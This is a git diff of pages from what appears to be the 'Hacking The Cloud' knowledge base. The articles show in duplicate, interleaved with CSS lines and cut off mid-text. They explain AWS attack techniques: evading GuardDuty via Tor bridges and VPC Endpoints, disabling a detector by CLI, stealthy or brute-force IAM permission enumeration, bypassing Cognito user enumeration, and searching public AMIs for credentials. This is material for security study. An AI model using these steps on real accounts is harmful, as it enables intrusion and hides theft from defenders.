    UnauthorizedAccess:EC2/TorClient is a high severity GuardDuty finding that fires when an EC2 instance is detected making connections to Tor Guard or Authority nodes. According to the documentation, "this finding may indicate unauthorized access to your AWS resources with the intent of hiding the attacker's true identity".

    AWS determines this by comparing connections to the public list of Tor nodes. To those familiar with the Tor project, this is a common problem. Countries, internet service providers, and other authorities may block access to the Tor network making it difficult for citizens to access the open internet.

    From a technical perspective the Tor Project has largely gotten around this by using Bridges. Bridges are special nodes that do not disclose themselves like other Tor nodes do. Individuals who would normally have difficulty connecting directly to Tor can instead route their traffic through Bridge nodes. Similarly, we can bypass the Tor Client GuardDuty finding by using bridges.

    To do so, download the Tor and obfs4proxy binaries (the simplest way to do this on a Debian based system is apt install tor obfs4proxy and move them to your target). Obfs4 is a Pluggable Transport which modifies Tor traffic to communicate with a bridge. Navigate to bridges.torproject.org to get a bridge address.

    From here, create a torrc file with the following contents (being sure to fill in the information you got for the bridge address):

    UseBridges 1
     Bridge obfs4 *ip address*:*port* *fingerprint* cert=*cert string* iat-mode=0
     ClientTransportPlugin obfs4 exec /bin/obfs4proxy
     

    You will now be able to connect to the Tor network with tor -f torrc and you can connect to the Socks5 proxy on port 9050 (by default).

    Article by Ben Leembruggen

    Modify GuardDuty Configuration

    When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like Service Control Policies.

    Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so they can only be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in.


    Misconfiguring the Detector

    An attacker could modify an existing GuardDuty detector in the account, to remove log sources or lessen its effectiveness.

    Configuration changes may include a combination of:

    • Disabling the detector altogether.
    • Removing Kubernetes and s3 as data sources, which removes all S3 Protection and Kubernetes alerts.
    • Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes.

    Example CLI commands

    # Disabling the detector
    +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

    Article by Ben Leembruggen

    Modify GuardDuty Configuration

    When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like Service Control Policies.

    Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so they can only be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in.


    Misconfiguring the Detector

    An attacker could modify an existing GuardDuty detector in the account, to remove log sources or lessen its effectiveness.

    Configuration changes may include a combination of:

    • Disabling the detector altogether.
    • Removing Kubernetes and s3 as data sources, which removes all S3 Protection and Kubernetes alerts.
    • Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes.

    Example CLI commands

    # Disabling the detector
     aws guardduty update-detector \
         --detector-id 12abc34d567e8fa901bc2d34eexample \
         --no-enable 
    diff --git a/aws/avoiding-detection/steal-keys-undetected/index.html b/aws/avoiding-detection/steal-keys-undetected/index.html
    index 6260df733..c2e9e0f46 100644
    --- a/aws/avoiding-detection/steal-keys-undetected/index.html
    +++ b/aws/avoiding-detection/steal-keys-undetected/index.html
    @@ -1,4 +1,4 @@
    - Bypass Credential Exfiltration Detection - Hacking The Cloud         

    Article by Nick Frichette

    Bypass Credential Exfiltration Detection

    • Tools mentioned in this article


      SneakyEndpoints: Hide from the InstanceCredentialExfiltration GuardDuty finding by using VPC Endpoints

    A common technique when exploiting AWS environments is leveraging SSRF, XXE, command injection, etc. to steal IAM credentials from the instance metadata service of a target EC2 instance. This can allow you to execute AWS API calls within the victim's account, however, it comes with a risk. If you were to try to use those credentials outside of that host (for example, from your laptop) an alert would be triggered. There is a GuardDuty finding which detects when IAM credentials are being used outside of EC2 called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.

    To get around this alert being triggered, attackers could use the stolen credentials from the attacker's EC2 instance. The alert only detected if the credentials were used outside of EC2, not the victim's specific EC2 instance. So by using their own, or exploiting another EC2 instance, attackers could bypass the GuardDuty alert.

    On January 20th 2022, AWS released a new GuardDuty finding called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS. This new finding addressed the shortcomings of the previous one. Now, when IAM credentials are used from ANY EC2 instance, if those credentials don't belong to the same account as the EC2 instance which generated them, it triggers the alert. Thus, simply using your own EC2 instance is no longer viable. This addresses a long standing concern within the cloud security community.

    However, there is currently a functioning bypass for this - VPC Endpoints. Using VPC Endpoints will not trigger the GuardDuty alert. What this means is that, as an attacker, if you steal IAM credentials from an EC2 instance, you can use those credentials from your own EC2 instance while routing traffic through VPC Endpoints. This will not trigger the GuardDuty finding.

    Note

    There is another bypass option, however, it would only be useful in niche scenarios. The InstanceCredentialExfiltration finding is only tied to the AWS account, not the EC2 instance. As a result, if you compromise an EC2 instance in the target account and then compromise OTHER EC2 instances in the account, or steal their IAM credentials, you can safely use them from the initially compromised instance without fear of triggering GuardDuty.

    SneakyEndpoints

    To make this setup faster/easier for Penetration Testers and Red Teamers, SneakyEndpoints was created. This project is a collection of Terraform configurations which can quickly spin up an environment to attack form. It will create an EC2 instance in a private subnet (no internet access) and create a number of VPC Endpoints for you to use. This setup ensures we don't accidentally access an internet facing API endpoint and trigger the alert.

    Setup and Usage

    To use SneakyEndpoints first install Terraform and set AWS credentials within your shell session.

    Next, perform the following Terraform commands:

    terraform init
    +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

    Article by Nick Frichette

    Bypass Credential Exfiltration Detection

    • Tools mentioned in this article


      SneakyEndpoints: Hide from the InstanceCredentialExfiltration GuardDuty finding by using VPC Endpoints

    A common technique when exploiting AWS environments is leveraging SSRF, XXE, command injection, etc. to steal IAM credentials from the instance metadata service of a target EC2 instance. This can allow you to execute AWS API calls within the victim's account, however, it comes with a risk. If you were to try to use those credentials outside of that host (for example, from your laptop) an alert would be triggered. There is a GuardDuty finding which detects when IAM credentials are being used outside of EC2 called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.

    To get around this alert being triggered, attackers could use the stolen credentials from the attacker's EC2 instance. The alert only detected if the credentials were used outside of EC2, not the victim's specific EC2 instance. So by using their own, or exploiting another EC2 instance, attackers could bypass the GuardDuty alert.

    On January 20th 2022, AWS released a new GuardDuty finding called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS. This new finding addressed the shortcomings of the previous one. Now, when IAM credentials are used from ANY EC2 instance, if those credentials don't belong to the same account as the EC2 instance which generated them, it triggers the alert. Thus, simply using your own EC2 instance is no longer viable. This addresses a long standing concern within the cloud security community.

    However, there is currently a functioning bypass for this - VPC Endpoints. Using VPC Endpoints will not trigger the GuardDuty alert. What this means is that, as an attacker, if you steal IAM credentials from an EC2 instance, you can use those credentials from your own EC2 instance while routing traffic through VPC Endpoints. This will not trigger the GuardDuty finding.

    Note

    There is another bypass option, however, it would only be useful in niche scenarios. The InstanceCredentialExfiltration finding is only tied to the AWS account, not the EC2 instance. As a result, if you compromise an EC2 instance in the target account and then compromise OTHER EC2 instances in the account, or steal their IAM credentials, you can safely use them from the initially compromised instance without fear of triggering GuardDuty.

    SneakyEndpoints

    To make this setup faster/easier for Penetration Testers and Red Teamers, SneakyEndpoints was created. This project is a collection of Terraform configurations which can quickly spin up an environment to attack form. It will create an EC2 instance in a private subnet (no internet access) and create a number of VPC Endpoints for you to use. This setup ensures we don't accidentally access an internet facing API endpoint and trigger the alert.

    Setup and Usage

    To use SneakyEndpoints first install Terraform and set AWS credentials within your shell session.

    Next, perform the following Terraform commands:

    terraform init
     terraform apply
     

    Before continuing Terraform will ask you to confirm the deployment. After that, way ~10 minutes for everything to be done. Please note that after the deployment is finished it may take a short period of time for the EC2 instance to be connectable.

    After this period of time, connect to the EC2 instance using the AWS Systems Manager Session Manager.

    To teardown the infrastructure, run the following command:

    terraform destroy
     

    Using STS

    Due to a quirk in how STS is setup, you will have to set a specific environment variable with the following command.

    export AWS_STS_REGIONAL_ENDPOINTS=regional
    diff --git a/aws/capture_the_flag/cicdont/index.html b/aws/capture_the_flag/cicdont/index.html
    index 49e8cd6f0..9d635daa8 100644
    --- a/aws/capture_the_flag/cicdont/index.html
    +++ b/aws/capture_the_flag/cicdont/index.html
    @@ -1,4 +1,4 @@
    - CI/CDon't - Hacking The Cloud         

    Article by Nick Frichette

    CI/CDon't

    Link to Project: CI/CDon't

    Note

    This project will deploy intentionally vulnerable software/infrastructure to your AWS account. Please ensure there is no sensitive or irrecoverable data in the account. Attempts have been made to mitigate this however they may not be fullproof; Security Group rules only allow access to the vulnerable EC2 instance from your public IP address, and a randomly generated password is required to access it.

    Warning

    If you intend to play the CTF it is a good idea to read through this page carefully to ensure you have all the details (minus the walkthrough). This page will familiarize the player with how the CTF works, what the objective is, and what the storyline is.

    Background

    This is an AWS/GitLab CI/CD themed CTF that you can run in your own AWS account. All that is required is an AWS account and Terraform installed locally on your machine.

    Costs should be minimal; running this infrastructure in my own account for three hours didn't accrue a cent in the Billing Dashboard, however extended time frames may cause costs to add up.

    In terms of difficulty, it would be rated low. The goal is more about having fun and working through some simple CI/CD/AWS challenges that even non-security folks would enjoy.

    How to Play

    Clone this repository and navigate to the cicdont directory.

    git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git
    +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

    Article by Nick Frichette

    CI/CDon't

    Link to Project: CI/CDon't

    Note

    This project will deploy intentionally vulnerable software/infrastructure to your AWS account. Please ensure there is no sensitive or irrecoverable data in the account. Attempts have been made to mitigate this however they may not be fullproof; Security Group rules only allow access to the vulnerable EC2 instance from your public IP address, and a randomly generated password is required to access it.

    Warning

    If you intend to play the CTF it is a good idea to read through this page carefully to ensure you have all the details (minus the walkthrough). This page will familiarize the player with how the CTF works, what the objective is, and what the storyline is.

    Background

    This is an AWS/GitLab CI/CD themed CTF that you can run in your own AWS account. All that is required is an AWS account and Terraform installed locally on your machine.

    Costs should be minimal; running this infrastructure in my own account for three hours didn't accrue a cent in the Billing Dashboard, however extended time frames may cause costs to add up.

    In terms of difficulty, it would be rated low. The goal is more about having fun and working through some simple CI/CD/AWS challenges that even non-security folks would enjoy.

    How to Play

    Clone this repository and navigate to the cicdont directory.

    git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git
     cd htc-ctfs/aws/cicdont
     

    To deploy the CTF environment run the Terraform init/apply command.

    terraform init
     terraform apply
    diff --git a/aws/deprecated/stealth_perm_enum/index.html b/aws/deprecated/stealth_perm_enum/index.html
    index d2cc06deb..b52d5c439 100644
    --- a/aws/deprecated/stealth_perm_enum/index.html
    +++ b/aws/deprecated/stealth_perm_enum/index.html
    @@ -1,4 +1,4 @@
    - [Deprecated] Enumerate Permissions without Logging to CloudTrail - Hacking The Cloud         

    Article by Nick Frichette

    [Deprecated] Enumerate Permissions without Logging to CloudTrail

    Warning

    As of 5/18/2021, this technique has been resolved and fixed by AWS. Mutating the Content-Type header when making API requests no longer can be used to enumerate permissions of a role or user. This page is maintained for historical and inspiration purposes.

    After compromising an IAM credential while attacking AWS, your next task will be to determine what permissions that credential has scoped to them.

    Aside from guessing, enumerating these permissions would typically require a tool to brute force them like enumerate-iam (which is a fantastic tool). The problem of course is that this will generate a ton of CloudTrail logs and will alert any defender. This poses a challenge to us, how can we enumerate permissions in a stealthy manner?

    The good news is that there is a bug in the AWS API that affects 589 actions across 39 different AWS services. This bug is a result of a mishandling of the Content-Type header, and when that header is malformed in a specific way the results are not logged to CloudTrail. Based on the response codes/body we can determine if the role does or does not have permission to make that API call.

    The following services are affected, although please note, that not all actions for these services can be enumerated.

    application-autoscaling appstream
    athena autoscaling-plans
    aws-marketplace cloudhsm
    codecommit codepipeline
    codestar comprehend
    cur datapipeline
    dax discovery
    forecast gamelift
    health identitystore
    kinesis kinesisanalytics
    macie mediastore
    mgh mturk-requester
    opsworks-cm personalize
    redshift-data route53domains
    route53resolver sagemaker
    secretsmanager shield
    sms snowball
    support tagging
    textract translate
    workmail

    Note

    For an in depth explanation for the bug, please see the original research. In this article we will just discuss how to take advantage of it.

    There are some conditions to the enumeration, and they are defined below.

    1 - The AWS service uses the JSON 1.1 protocol. 2 - The API actions returns a unique error code depending on the permission set. 3 - The resource associated with that action is set to "*".

    To perform the enumeration there is a script here. Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.

    Proof of Concept

    Article by Nick Frichette

    [Deprecated] Enumerate Permissions without Logging to CloudTrail

    Warning

    As of 5/18/2021, this technique has been resolved and fixed by AWS. Mutating the Content-Type header when making API requests no longer can be used to enumerate permissions of a role or user. This page is maintained for historical and inspiration purposes.

    After compromising an IAM credential while attacking AWS, your next task will be to determine what permissions that credential has scoped to them.

    Aside from guessing, enumerating these permissions would typically require a tool to brute force them like enumerate-iam (which is a fantastic tool). The problem of course is that this will generate a ton of CloudTrail logs and will alert any defender. This poses a challenge to us, how can we enumerate permissions in a stealthy manner?

    The good news is that there is a bug in the AWS API that affects 589 actions across 39 different AWS services. This bug is a result of a mishandling of the Content-Type header, and when that header is malformed in a specific way the results are not logged to CloudTrail. Based on the response codes/body we can determine if the role does or does not have permission to make that API call.

    The following services are affected, although please note, that not all actions for these services can be enumerated.

    application-autoscaling appstream
    athena autoscaling-plans
    aws-marketplace cloudhsm
    codecommit codepipeline
    codestar comprehend
    cur datapipeline
    dax discovery
    forecast gamelift
    health identitystore
    kinesis kinesisanalytics
    macie mediastore
    mgh mturk-requester
    opsworks-cm personalize
    redshift-data route53domains
    route53resolver sagemaker
    secretsmanager shield
    sms snowball
    support tagging
    textract translate
    workmail

    Note

    For an in depth explanation for the bug, please see the original research. In this article we will just discuss how to take advantage of it.

    There are some conditions to the enumeration, and they are defined below.

    1 - The AWS service uses the JSON 1.1 protocol. 2 - The API actions returns a unique error code depending on the permission set. 3 - The resource associated with that action is set to "*".

    To perform the enumeration there is a script here. Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.

    Proof of Concept

    \ No newline at end of file diff --git a/aws/deprecated/whoami/index.html b/aws/deprecated/whoami/index.html index ac7c69399..0bcdd8193 100644 --- a/aws/deprecated/whoami/index.html +++ b/aws/deprecated/whoami/index.html @@ -1,4 +1,4 @@ - [Deprecated] Whoami - Get Principal Name From Keys - Hacking The Cloud

    Article by Nick Frichette

    [Deprecated] Whoami - Get Principal Name From Keys

    sns publish

    Warning

    As of Q4 2023 these calls can optionally be tracked in CloudTrail by enabling dataplane logging. While this will not be enabled for the overwhelming majority of AWS accounts, there is no reason to risk it when there are other methods available.

    sns:Publish would return the ARN of the calling user/role without logging to CloudTrail. To use this method, you had to provide a valid AWS account ID in the API call. This could be your own account id, or the account id of anyone else.

    user@host:~$ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
    +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

    Article by Nick Frichette

    [Deprecated] Whoami - Get Principal Name From Keys

    sns publish

    Warning

    As of Q4 2023 these calls can optionally be tracked in CloudTrail by enabling dataplane logging. While this will not be enabled for the overwhelming majority of AWS accounts, there is no reason to risk it when there are other methods available.

    sns:Publish would return the ARN of the calling user/role without logging to CloudTrail. To use this method, you had to provide a valid AWS account ID in the API call. This could be your own account id, or the account id of anyone else.

    user@host:~$ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
     
     An error occurred (AuthorizationError) when calling the Publish operation: User: arn:aws:iam::123456789123:user/no-perm is not authorized to perform: SNS:Publish on resource: arn:aws:sns:us-east-1:*account id*:aaa because no resource-based policy allows the SNS:Publish action
     

    sdb list-domains

    Warning

    As of August 15, 2020 these calls are now tracked in CloudTrail (tweet). This page is maintained for historical and inspiration purposes.

    As found by Spencer Gietzen, the API call for sdb list-domains will return very similar information to get-caller-identity.

    user@host:$ aws sdb list-domains --region us-east-1
    diff --git a/aws/enumeration/account_id_from_ec2/index.html b/aws/enumeration/account_id_from_ec2/index.html
    index 95fb79c93..f381faf13 100644
    --- a/aws/enumeration/account_id_from_ec2/index.html
    +++ b/aws/enumeration/account_id_from_ec2/index.html
    @@ -1,4 +1,4 @@
    - Enumerate AWS Account ID from an EC2 Instance - Hacking The Cloud         

    Article by Phil Massyn

    Enumerate AWS Account ID from an EC2 Instance

    With shell or command line access to an EC2 instance, you will be able to determine some key information about the AWS account.

    get-caller-identity

    By using get-caller-identity, the EC2 instance may have an EC2 instance profile setup.

    user@host:$ aws sts get-caller-identity
    +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

    Article by Phil Massyn

    Enumerate AWS Account ID from an EC2 Instance

    With shell or command line access to an EC2 instance, you will be able to determine some key information about the AWS account.

    get-caller-identity

    By using get-caller-identity, the EC2 instance may have an EC2 instance profile setup.

    user@host:$ aws sts get-caller-identity
     {
        "Account": "000000000000",
        "UserId": "AROAJIWIJQ5KCHMJX4EWI:i-00000000000000000",
    diff --git a/aws/enumeration/account_id_from_s3_bucket/index.html b/aws/enumeration/account_id_from_s3_bucket/index.html
    index 9637e85b0..3c5fbb0c1 100644
    --- a/aws/enumeration/account_id_from_s3_bucket/index.html
    +++ b/aws/enumeration/account_id_from_s3_bucket/index.html
    @@ -1,4 +1,4 @@
    - Enumerate AWS Account ID from a Public S3 Bucket - Hacking The Cloud         

    Article by Nick Frichette

    Enumerate AWS Account ID from a Public S3 Bucket

    Note

    When you install a version <0.2.0 using pip, the executable is named s3-account-search.

    By leveraging the s3:ResourceAccount policy condition, we can identify the AWS account ID associated with a public S3 bucket. This is possible because it supports wildcards (*). With this, we can sequentially enumerate the account ID.

    To test this, you can use Grayhat Warfare's list of public S3 buckets.

    You will need a role with s3:getObject and s3:ListBucket permissions, and you can specify the target bucket as the resource for your policy. Alternatively, you can set a resource of '*' to quickly test multiple buckets.

    Installation

    The tool can be installed with the following command:

    python3 -m pip install s3-account-search
    +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

    Article by Nick Frichette

    Enumerate AWS Account ID from a Public S3 Bucket

    Note

    When you install a version <0.2.0 using pip, the executable is named s3-account-search.

    By leveraging the s3:ResourceAccount policy condition, we can identify the AWS account ID associated with a public S3 bucket. This is possible because it supports wildcards (*). With this, we can sequentially enumerate the account ID.

    To test this, you can use Grayhat Warfare's list of public S3 buckets.

    You will need a role with s3:getObject and s3:ListBucket permissions, and you can specify the target bucket as the resource for your policy. Alternatively, you can set a resource of '*' to quickly test multiple buckets.

    Installation

    The tool can be installed with the following command:

    python3 -m pip install s3-account-search
     

    Setup

    To use the tool, there is some setup on your end. You will need your own AWS account with a role you can assume with the s3:GetObject or s3:ListBucket permissions. s3-account-finder will assume this role so make sure the credentials you're using can do this.

    Usage

    s3-account-search arn:aws:iam::123456789123:role/s3-searcher <bucket name>
     Starting search (this can take a while)
     found: 1
    diff --git a/aws/enumeration/brute_force_iam_permissions/index.html b/aws/enumeration/brute_force_iam_permissions/index.html
    index 4a8622d44..ccb79af29 100644
    --- a/aws/enumeration/brute_force_iam_permissions/index.html
    +++ b/aws/enumeration/brute_force_iam_permissions/index.html
    @@ -1,4 +1,4 @@
    - Brute Force IAM Permissions - Hacking The Cloud         

    Article by Nick Frichette

    Brute Force IAM Permissions

    When attacking AWS you may compromise credentials for an IAM user or role. This can be an excellent step to gain access to other resources, however it presents a problem for us; How do we know what permissions we have access to? While we may have context clues based on the name of the role/user or based on where we found them, this is hardly exhaustive or thorough.

    This leaves us with basically one option, brute force the permissions. To do this, we will try as many safe API calls as possible, seeing which ones fail and which ones succeed. Those that succeed are the permissions we have available to us. There are several tools to do this, however, here we will be covering enumerate-iam by Andrés Riancho.

    To use enumerate-iam, simply pull a copy of the tool from GitHub, provide the credentials, and watch the magic happen. All calls by enumerate-iam are non-destructive, meaning only get and list operations are used. This reduces the risk of accidentally deleting something in a client's account.

    user@host:/enum$ ./enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN
    +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

    Article by Nick Frichette

    Brute Force IAM Permissions

    When attacking AWS you may compromise credentials for an IAM user or role. This can be an excellent step to gain access to other resources, however it presents a problem for us; How do we know what permissions we have access to? While we may have context clues based on the name of the role/user or based on where we found them, this is hardly exhaustive or thorough.

    This leaves us with basically one option, brute force the permissions. To do this, we will try as many safe API calls as possible, seeing which ones fail and which ones succeed. Those that succeed are the permissions we have available to us. There are several tools to do this, however, here we will be covering enumerate-iam by Andrés Riancho.

    To use enumerate-iam, simply pull a copy of the tool from GitHub, provide the credentials, and watch the magic happen. All calls by enumerate-iam are non-destructive, meaning only get and list operations are used. This reduces the risk of accidentally deleting something in a client's account.

    user@host:/enum$ ./enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN
     2020-12-20 18:41:26,375 - 13 - [INFO] Starting permission enumeration for access-key-id "ASIAAAAAAAAAAAAAAAAA"
     2020-12-20 18:41:26,812 - 13 - [INFO] -- Account ARN : arn:aws:sts::012345678912:assumed-role/role-b/user-b
     2020-12-20 18:41:26,812 - 13 - [INFO] -- Account Id  : 012345678912
    diff --git a/aws/enumeration/bypass_cognito_user_enumeration_controls/index.html b/aws/enumeration/bypass_cognito_user_enumeration_controls/index.html
    index dd9e62ce9..105edc099 100644
    --- a/aws/enumeration/bypass_cognito_user_enumeration_controls/index.html
    +++ b/aws/enumeration/bypass_cognito_user_enumeration_controls/index.html
    @@ -1,4 +1,4 @@
    - Bypass Cognito Account Enumeration Controls - Hacking The Cloud         

    Article by Nick Frichette

    Bypass Cognito Account Enumeration Controls

    Amazon Cognito is a popular “sign-in as a service” offering from AWS. It allows developers to push the responsibility of developing authentication, sign up, and secure credential storage to AWS so they can instead focus on building their app.

    By default, Cognito will set a configuration called Prevent user existence errors. This is designed to prevent adversaries from enumerating accounts and using that information for further attacks, such as credential stuffing.

    While this is useful in theory, and a good default to have, it can be bypassed via cognito-idp:SignUp calls for usernames. This bypass was originally reported via a GitHub issue in July 2020 and Cognito is still vulnerable as of early 2024.

    Note

    Cognito user pools can be configured to prevent disclosing user existence errors via alias attributes for email addresses and phone numbers, but not usernames. Be mindful that the 'Prevent user existence errors' setting does not cover all scenarios as detailed below.

    Example Responses

    To demonstrate the responses depending on the configuration and if a user does/does not exist, here are some examples. The admin user exists in the user pool and is the account we will be trying to enumerate.

    Note

    The client-id value for a Cognito User Pool is not secret and is accessible from the JavaScript served by the client.

    Prevent user existence errors on and user exists

    $ aws cognito-idp initiate-auth \
    +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

    Article by Nick Frichette

    Bypass Cognito Account Enumeration Controls

    Amazon Cognito is a popular “sign-in as a service” offering from AWS. It allows developers to push the responsibility of developing authentication, sign up, and secure credential storage to AWS so they can instead focus on building their app.

    By default, Cognito will set a configuration called Prevent user existence errors. This is designed to prevent adversaries from enumerating accounts and using that information for further attacks, such as credential stuffing.

    While this is useful in theory, and a good default to have, it can be bypassed via cognito-idp:SignUp calls for usernames. This bypass was originally reported via a GitHub issue in July 2020 and Cognito is still vulnerable as of early 2024.

    Note

    Cognito user pools can be configured to prevent disclosing user existence errors via alias attributes for email addresses and phone numbers, but not usernames. Be mindful that the 'Prevent user existence errors' setting does not cover all scenarios as detailed below.

    Example Responses

    To demonstrate the responses depending on the configuration and if a user does/does not exist, here are some examples. The admin user exists in the user pool and is the account we will be trying to enumerate.

    Note

    The client-id value for a Cognito User Pool is not secret and is accessible from the JavaScript served by the client.

    Prevent user existence errors on and user exists

    $ aws cognito-idp initiate-auth \
     --auth-flow USER_PASSWORD_AUTH \
     --client-id 719 \
     --auth-parameters USERNAME=admin,PASSWORD=blah
    diff --git a/aws/enumeration/discover_secrets_in_public_aims/index.html b/aws/enumeration/discover_secrets_in_public_aims/index.html
    index 7fa561cf3..29617b4ab 100644
    --- a/aws/enumeration/discover_secrets_in_public_aims/index.html
    +++ b/aws/enumeration/discover_secrets_in_public_aims/index.html
    @@ -1,4 +1,4 @@
    - Discover secrets in public AMIs - Hacking The Cloud         

    Article by Eduard Schwarzkopf

    Discover secrets in public AMIs

    For EC2 instances, Amazon Machine Images (AMIs) are crucial as they contain the essential information required to launch instances, including the operating system, configuration files, software, and relevant data. A significant security consideration of these AMIs is that they can be (either accidentally or intentionally) made public, thus accessible for anyone to utilize and potentially exploit.

    Finding Exposed AMIs

    Many instances of resource exposure (and subsequent exploitation) in AWS necessitate knowing the AMI ID. This offers some level of security-by-obscurity as an attacker needs the AMI ID to exploit the resource.

    However, if AMIs are marked public, the list of available public AMIs is accessible through the AWS API. If you know the account ID, you can easily run through all regions to see if any public AMIs are available:

    aws ec2 describe-images --owners <account_id> --include-deprecated --region <region>
    +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

    Article by Eduard Schwarzkopf

    Discover secrets in public AMIs

    For EC2 instances, Amazon Machine Images (AMIs) are crucial as they contain the essential information required to launch instances, including the operating system, configuration files, software, and relevant data. A significant security consideration of these AMIs is that they can be (either accidentally or intentionally) made public, thus accessible for anyone to utilize and potentially exploit.

    Finding Exposed AMIs

    Many instances of resource exposure (and subsequent exploitation) in AWS necessitate knowing the AMI ID. This offers some level of security-by-obscurity as an attacker needs the AMI ID to exploit the resource.

    However, if AMIs are marked public, the list of available public AMIs is accessible through the AWS API. If you know the account ID, you can easily run through all regions to see if any public AMIs are available:

    aws ec2 describe-images --owners <account_id> --include-deprecated --region <region>
     

    Using Public AMIs and Scanning for Credentials

    Once you've identified public AMIs, you can use them to launch instances and manually scan for sensitive information, including credentials.

    Launching an Instance from a Public AMI

    To launch an instance from a public AMI, follow these steps:

    1. Launch an Instance:
      Using the AWS CLI, launch an instance using the desired AMI:
      aws ec2 run-instances --image-id <image_id> --instance-type t2.micro --key-name <key-pair>
       
    2. Access the Instance:
      Once the instance is running, connect to it using Session Manager or SSH:
      ssh -i <your-key-pair>.pem ec2-user@<public-dns-of-instance>
       

    Manually Scanning for Credentials

    Manual scanning involves checking common locations where credentials may be stored. Here are some typical command-line operations that can help:

    1. Search for AWS Credentials:
      find / -name "credentials" -type f
      diff --git a/aws/enumeration/enum_iam_user_role/index.html b/aws/enumeration/enum_iam_user_role/index.html
      index b5a243b31..0f12b829e 100644
      --- a/aws/enumeration/enum_iam_user_role/index.html
      +++ b/aws/enumeration/enum_iam_user_role/index.html
      @@ -1,4 +1,4 @@
      - Unauthenticated Enumeration of IAM Users and Roles - Hacking The Cloud         

      Article by Nick Frichette, Wes Ladd (@righteousgambit), and skdg

      Unauthenticated Enumeration of IAM Users and Roles

      You can enumerate AWS Account IDs, Root User account e-mail addresses, IAM roles, IAM users, and gain insights to enabled AWS and third-party services by abusing Resource-Based Policies, even in accounts for which you have no access. Quiet Riot offers a scalable method for enumerating each of these items with configurable wordlists per item type. Furthermore - it also allows you to enumerate Azure Active Directory and Google Workspace valid email addresses - which can then be used to test for valid Root User accounts in AWS, assuming that the email address is the same.

      Ultimately, if you want to perform these techniques at scale - Quiet Riot is your best bet, but if you want to do it manually, you can a number of ways to do so. Another way to enumerate IAM principals would be to use S3 Bucket Policies. Take the following example:

      {
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

      Article by Nick Frichette, Wes Ladd (@righteousgambit), and skdg

      Unauthenticated Enumeration of IAM Users and Roles

      You can enumerate AWS Account IDs, Root User account e-mail addresses, IAM roles, IAM users, and gain insights to enabled AWS and third-party services by abusing Resource-Based Policies, even in accounts for which you have no access. Quiet Riot offers a scalable method for enumerating each of these items with configurable wordlists per item type. Furthermore - it also allows you to enumerate Azure Active Directory and Google Workspace valid email addresses - which can then be used to test for valid Root User accounts in AWS, assuming that the email address is the same.

      Ultimately, if you want to perform these techniques at scale - Quiet Riot is your best bet, but if you want to do it manually, you can a number of ways to do so. Another way to enumerate IAM principals would be to use S3 Bucket Policies. Take the following example:

      {
           "Version": "2012-10-17",
           "Statement": [
               {
      diff --git a/aws/enumeration/enumerate_principal_arn_from_unique_id/index.html b/aws/enumeration/enumerate_principal_arn_from_unique_id/index.html
      index e18475374..ca107bc51 100644
      --- a/aws/enumeration/enumerate_principal_arn_from_unique_id/index.html
      +++ b/aws/enumeration/enumerate_principal_arn_from_unique_id/index.html
      @@ -1,4 +1,4 @@
      - Derive a Principal ARN from an AWS Unique Identifier - Hacking The Cloud        

      Article by Nick Frichette

      Derive a Principal ARN from an AWS Unique Identifier

      When operating in an AWS environment, you may come upon a variety of IAM unique identifiers. These identifiers correspond to different types of AWS resources, and the type of the resource can be identified by the prefix (the first four characters).

      For IAM users (AIDA) and roles (AROA) you can reverse the unique ID to its corresponding ARN by referencing it in a resource-based policy.

      To do this, we can use the example ID of AROAJMD24IEMKTX6BABJI from Aidan Steele's excellent explanation of the topic. While this technique should work with most resource-based policies, we will use a role's trust policy.

      First, we will create a role with the following trust policy:

      {
      +    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}      

      Article by Nick Frichette

      Derive a Principal ARN from an AWS Unique Identifier

